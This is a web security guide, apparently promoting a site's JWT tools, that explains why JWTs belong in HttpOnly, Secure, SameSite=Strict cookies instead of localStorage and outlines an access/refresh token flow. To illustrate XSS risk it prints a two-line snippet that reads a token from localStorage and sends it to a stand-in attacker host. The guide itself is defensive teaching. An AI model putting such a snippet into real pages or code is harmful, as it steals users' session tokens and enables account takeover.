The most secure place to store a JWT in a web application is inside an HttpOnly, Secure, and SameSite=Strict cookie. Storing a JWT in localStorage exposes it to Cross-Site Scripting (XSS) attacks, allowing malicious JavaScript to easily steal your users' access tokens.
Every frontend developer has stared at their login logic wondering the same thing: Can I just use localStorage.setItem()? It's easy, it works with every framework, and it doesn't have the "cookie baggage." But in 2026, where npm supply chain attacks and sophisticated XSS are common, this "easy way" is a security catastrophe waiting to happen.
This guide settles the debate for 2026, showing you exactly how hackers steal tokens and the production-ready way to secure them.
Inspect Your JWT Before Storing It (Free Tools)
Before you decide where to store your token, make sure you know exactly what is inside it. Use our suite of free security tools to verify your implementation:
- JWT Decoder: Paste your token to instantly decode the payload and see your claims safely in your browser.
- Check JWT Expiration: Verify the exact expiration timestamp to ensure your short-lived access tokens are working as intended.
Knowing your token structure is the first step toward securing it properly.
The LocalStorage Trap (Why It Is So Dangerous)
Developers love localStorage because it is dead simple. You get a token from your login API, call localStorage.setItem('token', jwt), and you're done. No headers, no cookie jars, just clean JavaScript.
The Fatal Flaw: Accessibility
The fatal flaw of localStorage is that any JavaScript running on your page can read it. This includes your own code, but more importantly, it includes any third-party scripts you have loaded—analytics, chatbots, or that "helpful" npm package you installed yesterday.
The Attack: 2 Lines of Malicious Code
If a hacker successfully executes a Cross-Site Scripting (XSS) attack on your site, they can steal every user's token in seconds with a script like this:
// A single malicious line is all it takes to steal a token
const stolenToken = localStorage.getItem('token');
fetch('https://hacker-server.com/steal?token=' + stolenToken);
Once that token is on the hacker's server, they can impersonate the user until the token expires. If hackers want to move fast, they can even pipe JWT to JSON arrays instantly to identify high-value "admin" accounts to target first.
The Supply Chain Risk
Even if your own code is 100% secure, you are at the mercy of your dependency tree. If a popular npm package is compromised, the malicious code can go straight for your localStorage without you ever knowing it.
The HttpOnly Cookie Solution (The 2026 Standard)
To solve the XSS problem, we use HttpOnly Cookies. This is the 2026 standard for production-grade web authentication.
What is HttpOnly?
When the server sends a cookie with the HttpOnly flag, it tells the browser: "The browser may send this cookie back to the server, but the computer's JavaScript cannot read it."
If a hacker runs a malicious XSS script on your page, document.cookie will return an empty string or will not contain the authentication token. It is physically invisible to the frontend code.
The Required 2026 Cookie Flags
In 2026, simply setting HttpOnly isn't enough. Your backend's Set-Cookie header should look exactly like this:
Set-Cookie: token=eyJhb...; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
- HttpOnly: Prevents JavaScript access (XSS protection).
- Secure: Ensures the cookie is only sent over HTTPS.
- SameSite=Strict: Ensures the cookie is only sent for requests originating from your own site.
- Max-Age: Sets the explicit expiration (e.g., 1 hour).
You can Inspect JWT Header data to ensure your alg and typ claims match the security requirements of your backend before issuing these cookies.
LocalStorage vs HttpOnly Cookies: Security Comparison
| Feature | LocalStorage | HttpOnly Cookie |
|---|---|---|
| Accessible by JavaScript | ✅ Yes (High Risk) | ❌ No (Secure) |
| Vulnerable to XSS | 🚨 Extremely Vulnerable | 🛡️ Protected |
| Vulnerable to CSRF | 🛡️ Protected | ⚠️ Vulnerable (Mitigated by SameSite) |
| Sent automatically to API | ❌ No (Must attach to header) | ✅ Yes |
| Storage Capacity | 5MB - 10MB | 4KB |
| Best For | UI Themes, Non-sensitive data | JWTs, Auth Tokens |
The "CSRF" Argument (And Why It Doesn't Matter Anymore)
A common argument against cookies is: "But cookies are vulnerable to Cross-Site Request Forgery (CSRF)!"
While technically true in the past, the landscape has changed. CSRF works by tricking a browser into making an authenticated request to your site from a different, malicious site.
The 2026 Reality
Modern browsers now default to SameSite=Lax for all cookies. By manually setting your auth cookie to SameSite=Strict, you essentially neutralize CSRF for standard REST and GraphQL APIs.
XSS is infinitely more common and more dangerous than CSRF today. If a hacker gets XSS on your site and you use localStorage, they own the account. If you use HttpOnly cookies, they might be able to make a request on behalf of the user, but they cannot steal the identity token to use elsewhere. Protect against XSS first.
The Perfect 2026 Auth Flow (Access + Refresh Tokens)
If you are building a modern React, Vue, or Next.js app in 2026, this is the architecture you should use:
- Login: Your backend validates the user and generates two tokens.
- Access Token: Short-lived (e.g., 15 minutes). This is used for API authorization. Store it in Memory (a React state or a variable) or an HttpOnly cookie.
- Refresh Token: Long-lived (e.g., 7 days). This is used to get new Access Tokens. Store it in an HttpOnly, Secure, SameSite=Strict cookie.
- The Refresh Loop: When the Access Token expires, the frontend hits a
/refreshendpoint. The browser automatically sends the HttpOnly Refresh cookie. The server validates it and returns a brand new Access Token.
This flow keeps the "keys to the kingdom" (the Refresh Token) locked away from JavaScript entirely. You can use our tool to Check JWT Expiration periodically during development to fine-tune your refresh timing.
Frequently Asked Questions
Is localStorage safe for JWT?
No. LocalStorage is not safe for storing sensitive session tokens like JWTs. Because it is accessible by any JavaScript running on your page, it is highly vulnerable to Cross-Site Scripting (XSS) attacks. For web applications, HttpOnly cookies are the industry-standard recommendation for keeping JWTs secure.
How do hackers steal JWT from localStorage?
Hackers steal tokens from localStorage by injecting malicious JavaScript into your page (XSS). This can happen through unsanitized user inputs or compromised third-party scripts. Once injected, the script simply calls localStorage.getItem('token') and sends the value to the hacker's own server via a fetch or Image request.
How do I set an HttpOnly cookie?
You set an HttpOnly cookie from your server using the Set-Cookie HTTP response header. In a Node.js Express server, for example, you would use: res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'strict' }). This tells the browser to store the token and forbids any client-side JavaScript from accessing it.
Where should I store my refresh token?
A refresh token should always be stored in a Secure, HttpOnly, and SameSite=Strict cookie. Because refresh tokens have a long lifespan (often days or weeks), they are the most valuable target for hackers. Keeping them out of JavaScript's reach is non-negotiable for 2026 security compliance.
Can CSRF attacks steal JWTs?
No, CSRF attacks cannot "steal" your JWT. A CSRF attack tricks a user's browser into using their cookie to make an unauthorized request, but the hacker never actually sees or gains possession of the token itself. In contrast, an XSS attack does steal the token from localStorage, allowing the hacker to take over the account completely from their own computer.
Stop putting your users at risk for the sake of frontend convenience. Avoid localStorage for sensitive credentials and embrace the security of modern browser flags.
Need to verify your token's payload, expiration, or headers? Use our suite of free tools including the JWT Decoder, JWT Expiration Checker, and the JWT to JSON converter to stay ahead of security risks.